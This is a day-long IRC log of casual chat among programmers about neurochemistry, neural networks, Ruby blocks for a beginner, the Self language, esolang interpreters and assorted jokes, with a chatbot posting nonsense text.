04:27:43 <Bike> i only go for natural highs kmc, which is why i'm injecting myself with silicon
04:27:45 <BeingUntoDeath> before it was jesus and super spirally spirals... too much.
04:28:18 <Bike> also silicone, but that's not for the high
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04:28:48 <BeingUntoDeath> i'm thrilled you brought up brainwave entrainment, sgeo. one of my favorite things in terms of... psychological healing and psychedelic experience.
04:29:02 <Bike> shee-it, one of the links on this page has a half page url
04:29:10 <Bike> i think i'm going to save it for later. it must be preserved
04:29:48 <Bike> nah, some homework
04:29:54 <Sgeo> There's a YouTube video that if you stare at it, it causes vision to distort for a bit
04:29:59 <Bike> kmc's link there just has a doi, sensibly enough
04:30:09 <Bike> the thing i quoted? the treehovse link
04:30:42 <kmc> Bike: doi, not to be confused with the psychedelic amphetamine of the same name
04:30:49 <Bike> the link with the long url is just to a Cell paper through like nine proxies because lolpaywalls
04:30:56 <kmc> it's a ``hell of a drug'' as they say
04:31:18 <Bike> kmc: endocrinology is fun. i found out dopamine and ecstasy are both phenylethamines. Whoa, Man.
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04:31:42 <Bike> i really want to understand the chemistry better because it seems so arbitrary
04:31:49 <Bike> throw on a hydroxy WHOOPS YOU'RE HIGH
04:31:49 <BeingUntoDeath> your paragraph sounded like a light/sound machine... that thing must be awesome.
04:32:25 <Bike> Relatedly I found out hormones are ridiculously hard to make
04:32:42 <Bike> like, i've heard of some bad syntheses before, but we're talking literally twenty steps, some of which take days, just to get a precursor
04:32:51 <BeingUntoDeath> terence mckennas spoken on that precisely. i've had a psychopharmacology class, but we didn't go into that. guess it's neurochemistry.
04:32:52 <kmc> LSD is pretty hard to make too
04:33:13 <kmc> growing psychedelic mushrooms is relatively easy, though
04:33:21 <Sgeo> http://me.veekun.com/blog/2012/04/09/php-a-fractal-of-bad-design/
04:33:23 <Bike> doesn't help that i don't even understand the notation. superscripts on a delta? whoooo knowsssss
04:33:28 <Sgeo> http://www.youtube.com/watch?v=AbHEC8Snwhk
04:33:54 <Sgeo> ^^ at least that works on me. Although I think it's too long, could be shorter for probabl similar effect
04:34:00 <kmc> that's good stuff
04:34:26 <kmc> hey if you want a really weird optical illusion try http://en.wikipedia.org/wiki/McCollough_effect
04:34:33 <kmc> if that's even the right term for this
04:34:40 <Bike> maybe when i'm old and insane i could have a garden of this shit. like some plants for curare, some pufferfish for TTX
04:34:44 <kmc> since it can last 3 months
04:34:52 <Sgeo> kmc: yeah no thanks
04:34:59 <Sgeo> I do not want distorted vision for that long
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04:35:09 <Bike> What's distortion
04:35:20 <Bike> maybe the distortion... is within you all along.
04:35:53 <^v> all i get is a headache
04:36:12 <Bike> apparently the visual system in locusts (and several other model insects) behaves differently under different octopamine levels, and the levels fluctuate throughout the day anyway, apparently indicating the cells' properties change all the time (presumably adapting to different light levels etc.)
04:36:17 <Bike> p. cool, i m o
04:36:46 <kmc> i wanna be a cuttlefish
04:36:48 <kmc> or a cuddlefish
04:37:08 <Bike> their neurochemistry is probably less known. bastards are all... complicated.
04:37:32 <kmc> Squid Giant Axon would be a good name for a band
04:37:36 <Bike> i got literal maps of ganglia, man. ridges and shit. the good shit.
04:38:15 <Sgeo> I stupidly actually tried it
04:38:25 <Sgeo> Ugh can I wash out my eyes?
04:38:33 <kmc> mccullough?
04:38:44 <kmc> yes sgeo didn't anyone teach you how to use the eye wash station
04:39:10 <Bike> yes folks, all your favorite bands in this lineup! after the intro set by Mauthner C-Start it's time to jam with Squid Giant Axon! then maybe a slow jam with Oculocephalic Reflex
04:39:29 <kmc> employees must wash hands before returning to libc
04:39:29 <Bike> mauthner and the c-starts, perhaps
04:40:52 <kmc> my friend has a shirt that just says "RECURSION" on the front in big block letters
04:40:57 <BeingUntoDeath> I'm curious, i've wanted to get into it, but i don't know much about data structures yet.
04:41:02 <Bike> i literally can't even think of a joke any more that's how sick i am of recursion
04:41:10 <Bike> recursion jokes rather
04:41:26 <Bike> recursion itself is still cool
04:41:30 <kmc> i heard you like recursion so we put recursion in your hugalagahlalhaghahghagalhahglhal
04:42:11 <Bike> it's all broad though. like whoa, put a thing in a thing?? i learned the concept early enough that it's hard for me to understand people not getting it, sadly
04:42:24 <kmc> i don't even own a recursion
04:43:10 <Bike> Sgeo: what about y
04:43:35 <Bike> BeingUntoDeath: recursiveness in neural networks usually means a network with cycles, which is pretty distinct from the usual CS concept, but related
04:43:49 <Bike> or maybe i'm thinking 'recurrent' god i feel so stupid right now
04:43:55 <Sgeo> I think BeingUntoDeath got the wrong idea about what recursion is
04:44:32 <Sgeo> As though he tried to learn it from this conversation, I mean
04:44:37 <Bike> 'recursive' has like thirty billion meanings anyway
04:45:03 <oklopol> BeingUntoDeath: recursive just means inductive
04:45:12 <Bike> oh, and if you're interested in neural networks. the artificial ones are /nothing like real ones at all/. maybe you already know that but jesus it's annoying when people don't
04:47:06 <Bike> it's like, you have a lemma, man, and then the lemma like... proves itself with a different n.... maaann........
04:47:31 <Bike> ok i'm going to stop acting stupid now. sorry about that. just gonna be legit stupid now.
04:48:00 <oklopol> BeingUntoDeath: inductive in the sense that you have that the first and second fibonacci numbers are 1 and 1 and fib(n) = fib(n-2) + fib(n-1)
04:48:54 <ion> No, the first and second Fibonacci numbers are −55 and 34.
04:49:10 <Sgeo> http://www.reddit.com/r/programming/comments/20qojw/jdk_8_is_released/
04:49:25 <Bike> convenient that these things are just a shift away
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04:51:24 <oklopol> recursion of course usually implies that the objects we are talking about are computer objects (and not, say, real numbers; then again, most of the interesting well-ordered things readily turn into computer objects, except maybe the well-orders themselves)
04:52:59 <Sgeo> Java 9 will have TCO????!?!?!?
04:53:50 <oklopol> Bike: maybe it's okay for me to know because i don't know anything about either of the two; what sort of differences are there between neural networks and... neural networks?
04:55:31 <Bike> well, basically, when artificial neural networks (the computer ones) were getting off the ground, it was the forties, fifties. von neumann hisself wrote about them. as you might expect the biological research was, well, we've advanced a lot in seventy years.
04:55:56 <Sgeo> "John Conway's Game of Life is some kind of Artificial Life simulation. It's written in Java."
04:56:04 <Bike> artificial neurons treat individual neurons as discrete input output functions, usually a convenient function (like a sigmoid curve) over a weighted sum of their inputs
04:56:19 <Bike> computer people kind of ran with that for seventy years
04:56:44 <Sgeo> Ok, I think the author of the page was trolling Google
04:56:46 <Bike> meanwhile biologists found out it didn't work pretty fast. huxley model from squid neurons is like, a fourth degree PDE or some shit, and that's for one neuron
04:56:55 <Sgeo> http://www.bitstorm.org/gameoflife/
04:56:56 <Bike> also it's shitty
04:57:13 <Sgeo> Seems competent enough. View source.
04:57:15 <Bike> Sgeo: i do a double take every time i see an applet.
04:57:52 <Bike> basically, biological neurons are complex cell assemblies that work as modulated analog signal processors and require a lot of electrophysics to understand at all. artificial neurons are simpler because why would computer people care.
04:58:21 <Bike> i mean obviously ANNs are probably useful for something. optimization i guess? beats me
04:59:03 <Bike> this gets you weird situations like a neuroscientist trying to assign parameters for an organism situation, and using global optimization techniques to do so. possibly you could use an ANN for this. would be funny
04:59:11 <Sgeo> Ugh, ended up trying to watch videos of the board game
04:59:17 <Sgeo> There's some crappy "new" version
04:59:21 <Bike> game of life the board game?
04:59:59 <Bike> The thing with the cars?
05:00:30 <Sgeo> As far as I know, there are only two game of lifes
05:00:41 <Sgeo> And one is not a board game, usually
05:00:41 <oklopol> Bike: to me it still sounds like in theory they might be deliberately studying a simplification of the model in order to get at least something out of it
05:01:09 <Bike> oklopol: you mean computer people? yeah, but what they're getting out of it just isn't going to be that biologically relevant. it's going to be more like advances in ML.
05:01:57 <oklopol> but what if they solve the whole model, then add some components etc and get closer and closer to biologically relevant? i mean i don't think that's what's going on, but i can imagine a world where that's the case :P
05:02:22 <oklopol> (i think it's very playsible that they just ran with it)
05:03:35 <Bike> i don't think they're really trying... even if they were it's quite a trip from http://upload.wikimedia.org/math/0/2/a/02a0d787371e595719f83f8431ee898a.png to http://upload.wikimedia.org/math/5/e/c/5ec607907b2588dc038c1ef0168475dc.png
05:04:01 <Bike> quite an /interesting/ trip i imagine, though
05:04:20 <oklopol> oo the first one is how gibbs measures are born
05:04:56 <Bike> fuck yes, same gibbs.
05:05:51 <oklopol> like, if x is some type of energy or something, you want to minimize energy and then as energy increases, that configuration gets exponentially less likely. thus you weigh each state by e^(-x) where x is the energy. or something.
05:06:03 <Bike> the latter one is the soliton model, which is kind of not mainstream but does have the advantage of explaining how general anesthetics work (we have no idea, which rules)
05:06:08 <oklopol> (the sum on the bottom is because you want them to sum to 1.)
05:06:49 <oklopol> yeah i have no idea what the second one is :P
05:07:09 <Bike> i don't know how it works at all woooooo
05:08:15 <Bike> physics is hard.
05:08:55 <oklopol> i was contemplating going on a quantum physics course this spring
05:09:33 <Bike> i flunked a kinematics course once, so imo doomed
05:10:20 <Bike> but like, what if there's lots of ms, man
05:10:33 <oklopol> if there's a lot of as you sum them
05:10:55 <oklopol> thus by induction you also sum the ms
05:13:17 <oklopol> also i tried to take physics 1 a few years ago but i didn't have time for it :(((((
05:14:12 <Bike> switch majors. i gotta take courses in half the departments. (switching majors is totally a thing you can do as a whateveryouare)
05:14:50 <newsham> F = m * dv/dt = m * d^2t/dt^2. f*dt^2 = d^2 t boing boing boing
05:15:08 <newsham> the problem with switching majors to physics is all the momentum
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05:15:36 <Bike> just make a turing machine out of the 5-body problem and they'll clearly accept you
05:15:42 <oklopol> i have done all my courses so i'm not sure switching majors would be of much help
05:16:03 <oklopol> actually the last 8 or so courses i've taken i didn't go to the exam because i didn't want to drop my average
05:16:08 <newsham> thats the best time to switch. that way you dont have to leave school!
05:16:24 <Bike> don't stop til lyyou got like forty master'ss
05:16:40 <Sgeo> I can't blame inflation for this feeling that $100 was a lot in 2006 but isn't very much now, can I?
05:16:59 <oklopol> a friend of mine is working on something like 3 degrees atm
05:17:04 <newsham> you can, depending on what you're buying.
05:17:16 <newsham> you could have bought more than 2x as many bigmacs in 2006 with $100
05:17:20 <Bike> wat do you even do with three degrees
05:17:36 <oklopol> i think he just wants to be an unemployed millionnaire
05:17:50 <Bike> where's the millionaire bit come from
05:18:04 <Bike> sgeo: apparently 100 2006 dollars would be worth like $117 now. totes lotsa ca$h
05:18:09 <newsham> the application process for unemployed millionaire is really selective
05:18:20 <newsham> bike: now do energy and food inflation
05:18:27 <oklopol> newsham: that's why you wanna have 3 degrees.
05:18:33 <Bike> who do i look like the dhs
05:19:01 <Bike> don't you say that about my mother
05:19:28 <Bike> oh, actually this thing i got the numbers from uses the CPI, so HA already incorporated them.
05:20:34 <newsham> thats food+beverages 2006-2012
05:21:04 <newsham> http://www.bls.gov/cpi/cpid1401.pdf
05:21:10 <Bike> dude quit disputing the internet
05:21:25 <oklopol> how has the apples to oranges cost ratio evolved during the last century?
05:21:51 <newsham> can you be more specific? pacific rose? gala? granny smith?
05:21:55 <newsham> are we including tangerines?
05:22:07 <oklopol> we are _not_ including tangerines
05:22:23 <Bike> well here's a graph, featuring several line segments, as well as alphanumeric characters http://www.oceconomy.org/wibmeasures/n3-1.jpg
05:22:23 <oklopol> but otherwise, please integrate over apples with respect to the uniform distribution
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05:22:26 <Bike> hope this helps
05:22:49 <Bike> as you can see, the line segments look sort of like a hill, but with a little thingie on the right
05:23:09 <newsham> the great thing about BLS statistics is they think the food you bought in 2014 is just as good as the food you bought in 1950.
05:23:23 <Bike> i'd like to point out that, as a bonus, several non-alphanumeric characters are included
05:24:13 <newsham> even though you used to get beef from disease free, grass feed beef and now you get animal byproducts that were soaked in amonia in an attempt to make unedible meats somewhat disease free
05:24:29 <oklopol> i should review a boring article now
05:24:43 <newsham> wouldnt you rather sit on a boring irc channel instead?
05:25:11 <Bike> if it's any consolation i have to read a boring article.
05:25:13 <BeingUntoDeath> hey... can i ask you guys really noob questions about programming?
05:25:23 <BeingUntoDeath> usually other programming channels aren't privy to noob-ass questions.
05:25:37 <Bike> depends on the channel (but yeah programmers are assholes, sorry about that)
05:25:52 <oklopol> btw the brainfuck article i reviewed was accepted, although only as a presentation, not in proceedings
05:26:03 <Bike> i know /of/ ruby
05:26:11 <Bike> maybe i can guess the semantics enough to answer basic questions
05:26:18 <newsham> btw, on the topic of esoteric fun with computer programs, have you guys heard of this POC||GTFO publication?
05:26:27 <Bike> I don't know what that is.
05:26:36 <newsham> its an e-magazine, current issue is in pdf but can also be interpretted as some picture format and something else...
05:27:19 <BeingUntoDeath> is a line where i define a var considered a block? or can blocks just go inside of defined variables(objects?) as methods?
05:27:47 <newsham> and a runnable image (ie. for qemu)
05:27:58 <newsham> http://www.reddit.com/r/netsec/comments/1tw2ht/poc_gtfo_issue_0x02pdf/
05:28:00 <Bike> I think a block is more like a function?
05:28:19 <Bike> "Ruby blocks are syntax literals for Proc objects" ok yeah
05:28:40 <newsham> arent ruby blocks the body of lambda-expressions (non-pure)?
05:28:45 <BeingUntoDeath> because i converted my test-program the other day into objects and made it OO, but i now realize all the def/end's with do/end's in them could be blocks instead?
05:28:49 <newsham> <- not a ruby person, but thats the impression i had
05:29:00 <Bike> newsham: that's what i'm getting out of this
05:29:53 <newsham> i dont know if the line where you define a var is a block or not.. not a ruby person :(
05:30:33 <Bike> i think to be a block you need the literal {}.
05:30:58 <Bike> but yeah, that question was 2ruby4me, sorry.
05:32:47 <newsham> beinguntodeath: guess we're the n00bs here :)
05:32:54 <BeingUntoDeath> i'm getting the idea from codeacademy that a "code" block is what goes in between do and end in a method?
05:34:15 <Sgeo> The word 'block' may be a bit overloaded
05:34:27 <Bike> ah, yes, i think you can use do...end for procedures too
05:34:33 <Sgeo> There's the Ruby usage, and there's the rest of the world usage of 'code block' which I can imagine slipping in
05:34:52 <Bike> and what if we want to talk about rectangular prisms??
05:35:05 <Bike> BeingUntoDeath: prooooooobably the same in a ruby context but don't quote me
05:35:32 <Bike> you know. some code you want to do several times. probably with parameters. and in ruby, attached to an object.
05:35:53 <Bike> well, i guess methods are procedures but not the other way around maybe.
05:36:05 <Bike> nothing is synonymous with anything in CS, stop listening to me before i corrupt you
05:36:17 <Bike> usually 'method' implies being attached to an object
05:36:21 <Sgeo> People use those words for all sorts of things, but I think commonly (I may be wrong) methods are attached to objects and procedures aren't
05:36:56 <newsham> methods get an implicit reference to the object they were attached to. procedures are pretty similar but not every procedure comes with a ref to an object
05:39:39 <BeingUntoDeath> so when you "pass a block" to something... how do you refer to a particular block? that makes it sound like a variable. it's just nested in another method or comes in sequence in the code?
05:39:57 <Bike> probably you pass it as a variable and use some call syntax.
05:40:12 <Bike> like, in C, you can get passed a function pointer as a variable "foo", and then jus call it with foo() like usual.
05:40:25 <BeingUntoDeath> and what is the something to which blocks are passed? Objects? this whole "everything is an object" in ruby may be starting to make some things fuzzy for me, being a new coder.
05:40:32 <newsham> BUD: are you familiar with passing functions around to other functions?
05:40:50 <newsham> ruby's blocks are sort of like functions, they just dont come with names
05:40:55 <Bike> BeingUntoDeath: other procedures/methods (code)
05:40:59 <BeingUntoDeath> the functioned that is passed to is just named inside the other function?
05:41:19 <newsham> all the incoming function arguments are bound to names.
05:41:20 <Sgeo> Bike: Ruby blocks can be passed to a method in such a way that they aren't a real argument but instead you call yield to call it
05:41:32 <Bike> Sgeo: hoping that's irrelevant.
05:41:55 <Sgeo> It's the more common way to do things that want a single callback etc.
05:43:01 <newsham> as a simple example in another language which might just totally confuse you, "map" takes a function as an argument, and "runs" it on each element in a list. [1,2,3] is a list, and (\x -> x * 10) is an anonymous function (like a ruby block):
05:43:11 <newsham> > map (\x -> x * 1) [1,2,3]
05:43:11 <idris-ircslave> Can't disambiguate name: Effects.Env.::, Data.HVect.::, Prelude.List.::, Data.Vect.Quantifiers.::, Prelude.Stream.::, Prelude.Vect.::
05:43:24 <newsham> > map (\x -> x * 10) [1,2,3]
05:43:25 <idris-ircslave> Can't disambiguate name: Effects.Env.::, Data.HVect.::, Prelude.List.::, Data.Vect.Quantifiers.::, Prelude.Stream.::, Prelude.Vect.::
05:44:00 <newsham> map has two arguments, the function and the list. these both get names when you're writing the definition of map
05:44:40 <Bike> yeah, lots of languages do. it dates from the 1950s or 1370s or whatever
05:44:45 <newsham> so when you call map you can pass in a ruby block and a list
05:44:46 <Bike> very useful function
05:44:59 <Bike> BeingUntoDeath: uh, maybe you're thinking of the wrong kind of map.
05:45:05 <Sgeo> Map has two different meanings
05:45:16 <Sgeo> You stumbled onto a different meaning
05:45:22 <Bike> but good news... they're also related
05:45:25 <Bike> everything is related.
05:45:34 <Bike> we are all together
05:45:40 <newsham> we're well on track to give you an esoteric answer
05:45:48 <Bike> so, take newsham's thing, that multiplies by ten
05:45:51 <Sgeo> My math teacher once accidentally made some gesture that was swearing at me when telling me that everything's related
05:45:59 <Bike> the "keys" are [1,2,3] and the "values" are [10,20,30], see.
05:46:29 <newsham> is there a bot here that does ruby?
05:47:16 <newsham> in ruby: [1, 2, 3].map { |n| n * 10 }
05:47:25 * Sgeo vaguely wonders if Self works on Cygwin
05:47:58 <Bike> er, a parameter.
05:48:04 <newsham> that says that |n| receives an incoming argument in that block
05:48:20 <newsham> map calls that block three times, once with n set to 1, once n=2, once n=3
05:48:53 <newsham> its what the caller provided as an argument
05:49:27 <Bike> no, n is an element. that's what map does.
05:49:32 <newsham> map builds up a list of [f(1), f(2), f(3)] where f is the block
05:49:35 <Sgeo> n is one, the first time that { |n| n * 10 } is called. The second time, it's 2
05:49:40 <Sgeo> the third time, it's 3
05:49:54 <Bike> i'm just going to stop talking, enough people are doing so as is. gotta concentrate anyway
05:50:16 <Sgeo> In this case, all three times, it will be just a number.
05:50:24 <Sgeo> [1, 2, 3] is the array
05:50:25 <newsham> when map calls f(2), n is set to 2 and the block returns 2*10 = 20
05:51:42 <Sgeo> Huh. Self has object literals.
05:52:07 <Sgeo> BeingUntoDeath: I'm talking about an entirely different language
05:52:10 <Sgeo> So ignore my ramblings
05:53:08 <newsham> note: you can also just define a procedure in ruby called f taking an argument n which returns n*10
05:53:26 <newsham> passing in that procedure would give the same results as passign in the block { |n| n * 10 }
05:54:03 <Bike> http://tigergenome.org/ i love the future
05:54:07 <newsham> if i knew ruby syntax better icould even show you what that would look like ! ;-)
05:55:44 <Jafet> Bike: the future is people splicing it into human embryos
05:56:15 <Bike> congratulations your child has white fur and also strabismus
06:03:31 <Sgeo> "and, more generally, that a slot initializer may not refer to any textually enclosing object literal."
06:03:34 <Sgeo> This makes me a bit sad
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06:19:57 <Sgeo> 3 + 4 * 7 is illegal in Self
06:20:50 <newsham> self being the original OO language?
06:20:51 <Sgeo> 5 min: 4 max: 7
06:21:07 <Sgeo> That's a message to 4 and a message to 5
06:21:16 <Sgeo> In Smalltalk it would be just a message to 5
06:21:25 <Sgeo> 5 min: 4 Max: 7 would be just the one message to 5
06:21:50 <Sgeo> newsham: I think that's more Smalltalk, although I think others came before it
06:21:54 <Sgeo> Self is prototypical OO
06:22:57 <Sgeo> "The association order and capitalization requirements are intended to reduce the number of parentheses necessary in Self code."
06:23:10 <Sgeo> Oh god I can imagine incompetent programmers having large hard to read lines that abuse that
06:23:32 <newsham> oh, simula is what i was thinking of
06:23:55 <^v> i am making a table for filling in malbolge memory
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06:24:03 <^v> so you dont have to use crz
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06:28:32 * Sgeo wonders if the Self lobby can be hidden/overrridden to serve as a sandboxing mechanism
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06:31:02 <Sgeo> "behavior that allows an object to behave like a block that evaluates to that object (this permits a non-block object to be passed to a method that expects a block)"
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06:34:13 <Bike> yeah. don't use as to cosign ur leases
06:34:36 <newsham> i'm just waiting for a scout to discover me and pay me the big bucks to program in crazy languages
06:35:42 <Bike> at my day job i use matlab. so like, rock and a hard place here, yeah?
06:35:59 <newsham> surely you can do something ridiculous with matlab
06:36:10 <Bike> you don't even know.
06:36:18 <Sgeo> ooh, I like exitValue
06:36:27 <newsham> http://www.thenewsh.com/~chat/j/XPrelude.java
06:37:05 <Sgeo> (I think I just like anything that makes return-like statements without being in a method more sensible. Although I think people generally hate early returns, so...)
06:38:06 <Sgeo> "traits number defines behavior common to all numbers, such as successor, succ"
06:38:11 * Sgeo cries a bit inside
06:38:45 <Bike> what did you do when you watched like, schindler's list? die? combust?
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07:20:36 <fizzie> Ooh, a dodecagon-shaped coin. (Though I'm not entirely sure why a Finnish newspaper bothers to put a UK coin redesign proposal on its front web-page.)
07:23:42 <ais523> err, seriously? all UK coins have an odd number of sides, because they have constant diameter (to be easier for vending machines to check)
07:24:13 <ais523> also, the UK mint makes coins and banknotes for a huge number of countries, I think just because they got good at it
07:24:24 <fizzie> http://www.bbc.com/news/uk-politics-26632863 is what they linked to.
07:29:52 <ais523> hmm, in the Hacker News comments about this blog post of mine, someone mentioned removing stack frames using a negative argument to alloca
07:30:13 <ais523> I guess it's hard to stop people finding ways to implement INTERCAL functionality in C
07:32:41 <fizzie> Also, this article about the popularity of different first names says that (paraphrasing) "the popularity of most names over time follows a Gauss curve, with peaks occurring usually every 100 years", which makes no sense, because there's only one peak.
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09:48:26 <Jafet> Hm, the ctrl key is stuck down.
09:50:57 <Jafet> I'm surprised that I can write this.
09:52:19 <Jafet> Heh, I fixed it by starting the on-screen keyboard program and holding down its ctrl key.
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10:07:03 <ais523> is it stuck as in physically stuck down?#
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10:07:13 <ais523> or just that it registers as being constantly pressed?
10:07:23 <ais523> you can often fix the latter problem just by pressing both Ctrl keys on the keyboard a few times
10:16:53 <fizzie> In this USB day and age, I've fixed an entirely confused keyboard once or twice by dis- and reconnecting it.
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10:19:01 <fizzie> Incidentally, I wonder if there's something in MPX (multi-pointer X) that'd make it possible "in general" for you to have, in addition to independent mouse pointers, also several independent keyboards with their own input foci.
10:22:55 <ais523> I can see that massively confusing window managers
10:26:59 <fizzie> "MPWM is a proof-of-concept, not a real window manager. It's lacking most features that you'd expect from a window manager so don't use it in production. Or on your desktop. Or really anywhere."
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11:40:44 <ion> Most Helpful Reply http://answers.microsoft.com/en-us/windows/forum/windows_xp-performance/error-message-revocation-information-for-the/1a6559d4-f45a-442a-b1c4-6844f9cd447b
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14:28:09 <Taneb> It amuses me tremendously that many people have an app on their phones that send messages that will self-destruct in 5 seconds
14:28:13 <Taneb> And then use it for selfies
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16:08:41 <oerjan> but i have too many tabs open already :(
16:08:56 <oerjan> and too little time. shaving ->
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16:40:38 <kmc> Taneb: selfies and dick pics (or are those a kind of selfie?)
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16:42:01 <Taneb> I'd say those are another kind of selfie
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16:47:14 <kmc> snapchat is a rare example of a product with DRM-like features that are actively desired by the user
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16:53:02 <^v> "There are 5,232 registered users, but most of them are spambots." xD
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16:57:09 <oerjan> also no one registered in between.
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16:58:36 <^v> http://esolangs.org/wiki/%E2%99%A6
16:58:40 <^v> can someone explain this?
17:01:25 <Bike> "wat" -- elliott
17:02:28 <elliott_> ♦/~ and ♦ should be swapped or something
17:02:34 <elliott_> it's a dumb page to have at the top level
17:03:32 <Jafet> Why is ♦ not a character of ♦
17:03:58 <Taneb> Few languages have their name as one of their instructions
17:05:01 <oerjan> hm there has to be one
17:05:44 <oerjan> well, Esme counts, CLEARLY
17:06:00 <oerjan> that's not _one_ of its instructions, Jafet
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17:38:31 <^v> anyone make hello world in clusterfuck (utilizing the added chars ofc)
17:53:34 <fizzie> @tell oerjan Also Ook!
17:54:13 <fizzie> @tell oerjan At least more or less, if not quite.
17:56:10 <myname> preffy useless, just change <> in any brainfuck version to ^v
17:57:23 <FireFly> kmc: what kind of DRM-like features?
17:58:21 <myname> "Esme is an esoteric programming language[citation needed]"
17:58:33 <Bike> dick pic suppression
18:15:04 <kmc> FireFly: deleting photos from the receiver's device after n seconds
18:23:27 <maurer> kmc: I feel like they're trying to sort of emulate the notion of a night out, or sitting around chatting with friends.
18:23:38 <maurer> kmc: People would get super mad if you had a recording device running at all times.
18:23:49 <maurer> (not that I use any of these services, just speculation)
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18:39:04 <^v> agony is neat
18:40:13 <maurer> "most of the time backwards compatible with Brainfuck" !
18:42:56 <quintopia> SELECT. has its name as an instruction
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18:45:52 <kmc> pop eax; cmp byte ptr [esi], dh
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18:53:07 <olsner> did someone push something on the stack earlier, or did you just underflow the stack?
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18:53:51 <kmc> it's relevant to <Taneb> Few languages have their name as one of their instructions
18:57:17 <quintopia> c++ sort of does? at the very least, its name contains one of its instructions...
18:59:59 <int-e> which it stole from C ;-)
19:01:28 <Bike> http://24.media.tumblr.com/b0551c10cef630285d16b973731d77f0/tumblr_n2gltz0yJc1rugltbo1_1280.png bitcoin
19:06:28 <int-e> I can see the connection: Both are a matter of belief.
19:07:10 <maurer> int-e: By that logic, you could say jesus loves nearly any currency
19:08:04 <Bike> "what is caesar's is caesar's. everything else? mine"
19:08:26 <int-e> maurer: ask the catholic church, they will agree.
19:10:08 <int-e> *googles* "Render to Caesar the things that are Caesar's; and to God the things that are God's."
19:11:05 <olsner> AMD64\n (in long mode) is xor al,0xa with four nonsense prefixes
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19:55:39 <fizzie> "Z80" in z80 is "ld e, d; jr c, $+50".
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20:22:29 <Bike> https://twitter.com/Xythar/status/445426997313806336/photo/1/large the anime community attempts security
20:29:20 <newsham> i was wondering why only 1 in 4billion of adamants files checked out
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21:11:03 <^v> Bike, ._. stupeid
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22:10:41 <^v> i made an agony inturpreter http://esolangs.org/wiki/Agony and the hello world example only prints "Hello"
22:11:00 <^v> the brainfuck one works fine though
22:12:32 <^v> ah, its because only hello was encoded into it
22:12:45 <^v> anyone mind if i change it?
22:17:22 <^v> decoded it and its 0A 12 64 6C 72 6F 57 20 6F 6C 6C 65 48
22:17:31 <^v> :< i must be doing something wrong
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22:21:50 <^v> sweet it works now
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22:38:08 <^v> :D oerjan <3
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22:45:02 <lambdabot> fizzie said 4h 51m 28s ago: Also Ook!
22:45:02 <lambdabot> fizzie said 4h 50m 49s ago: At least more or less, if not quite.
22:47:29 <Taneb> I think... that was my question?
22:53:04 <oerjan> am i evil for even _considering_ that we could put up Esme as featured April 1 language
22:53:41 <oerjan> if not, Ook! could be a good alternative.
22:53:56 <oerjan> (i don't think any of them are official candidates, or are they?
22:54:09 <boily> what is fungot's choice?
22:54:09 <fungot> boily: i am just as confused. you, in that line, that i have gone totally wanting, and then you can choose fnord, but don't step on cursed items. his most distinctive features are. this explanation assumes that if the teen is getting sexually excited. right. i'm not doing anything to decrease the number of
22:54:37 <boily> I choose fnord! (without stepping on cursed items, of course.)
22:55:02 <oerjan> we don't actually have a language named Fnord yet
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22:57:28 <oerjan> it's possible to correct that, i believe.
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23:04:01 <ion> Oculus Rift Development Kit 2 http://youtu.be/OlXrjTh7vHc
23:06:19 <stopreadingthis_> What do you guys think about Benio http://benkreger.com/Benio.txt
23:08:56 <Bike> i want one that's pinku (that's japanese for pink)
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23:15:51 <^v> <ping> .encagony :3 this converts text into agony cod
23:15:52 <^v> <^v> ping, <[.<]$$$,$[~<~*~>{$+.~]~*~+~}{$~*+<~]~.{$+<+-~@+<{$+>+<+{~@+~~]~*~>{$+>~.~-+<{$>>>,
23:16:10 <^v> so, what should i code next
23:16:17 <kmc> what's all this then
23:16:53 <^v> i added agony to my bot
23:17:21 <kmc> are there any esolangs where SAT solvers are the only viable implementation strategy?
23:17:26 <kmc> eodermdrome might be one
23:17:50 <kmc> there are some non-eso langs where the typechecker uses a SAT/SMT solver
23:29:16 <boily> dammit. I never should have opened that page → http://gabrielecirulli.github.io/2048/
23:34:54 <oerjan> boily: well guess _why_ i didn't have time to read the logs earlier today
23:41:55 <kmc> http://ov3y.github.io/2048-AI/ http://doge2048.com/ http://www.csie.ntu.edu.tw/~b01902112/9007199254740992/ http://hczhcz.github.io/Flappy-2048/
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23:51:25 <boily> kmc: you are a vile, very vile person.
23:51:31 <boily> Taneb: you are a sleepy person.
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23:53:09 <Taneb> I saw kmc's message about 2048 and my first thought was "that's isomorphic to multiplication"
23:55:24 <Taneb> I don't know either
23:58:10 <^v> hey, where can i get a useful inturpreter
23:59:00 * boily tries out the doge-mille-quarante-huit version. ow.
23:59:03 <^v> http://esolangs.org/wiki/Useful!
23:59:49 <kmc> boily: the background color really makes it
23:59:58 <boily> it doesn't even need javascript!
00:00:14 <kmc> kids these days with their CSS animations
00:00:34 <boily> fungot praise zzo38 for maintaining a gopher site!
00:00:34 <fungot> boily: something like scheme48 ( upon the general position is a part of these amendments, i can only thank the president-in-office, you did hear me say that we have had in getting information with regard to monetary policy, a factor is
00:00:36 <kmc> (CSS animations can mostly happen off the main thread and so are way smoother)
00:01:00 <fungot> Selected style: fungot (What I've said myself)
00:02:16 <boily> meanwhile, TIL you can have quantum physics in minecraft →http://qcraft.org/
00:02:19 <fungot> kmc: perhaps, if i could but learn is when you're fairies, you know, that thing i don't give a damn. anmaster: i said, hoping to keep him from beginning and end of each title's description" fnord 22:23, 16, 32, 33, 34, 55, 56, 57, as bryant still had his glory days ahead of them must have brought it with blood is, he's a total of two conversion rates, in that line is a comment, unless the proposal on the general position is a p
00:02:59 <boily> fungot: fairies are important! they are an integral part of a healthy, balanced breakfast!
00:03:00 <fungot> boily: or is it just me, or i: yet, you rogue! hey! is that for us! the chef's in a snit, trying to get food to the front lines. heard a spell to energize the sword takes immense evil! indeed! this thing. what you have? transform! this trading house. it's
00:03:00 <kmc> oh my alma mater is involved
00:03:12 <kmc> the "Institute for Quantum Information and Matter" at Caltech
00:03:38 <kmc> anybody implement shor's algorithm in it yet?
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00:05:43 <Bike> this seems like a weird way to illustrate quantum
00:07:01 <boily> it is weird. but it has interesting observable cubes!
00:09:22 <Sgeo> Self's community seems deadish
00:09:49 <boily> self, as in the programming language of the same name?
00:12:05 <kmc> are there notable instances of a PL coming back from the dead?
00:12:52 <kmc> Haskell and Erlang languished in obscurity for many years before becoming widely known
00:12:59 <kmc> but they were never quite dead
00:13:53 <boily> they're more like undereconstructed zombie unicorns.
00:14:11 <boily> (reddit is fungotting weird. http://www.reddit.com/r/avocadosgonewild)
00:14:11 <fungot> boily: and, dab, words like pop-culture should i have fizzie do is to base programming on a political responsibility of the member states, including numbers)
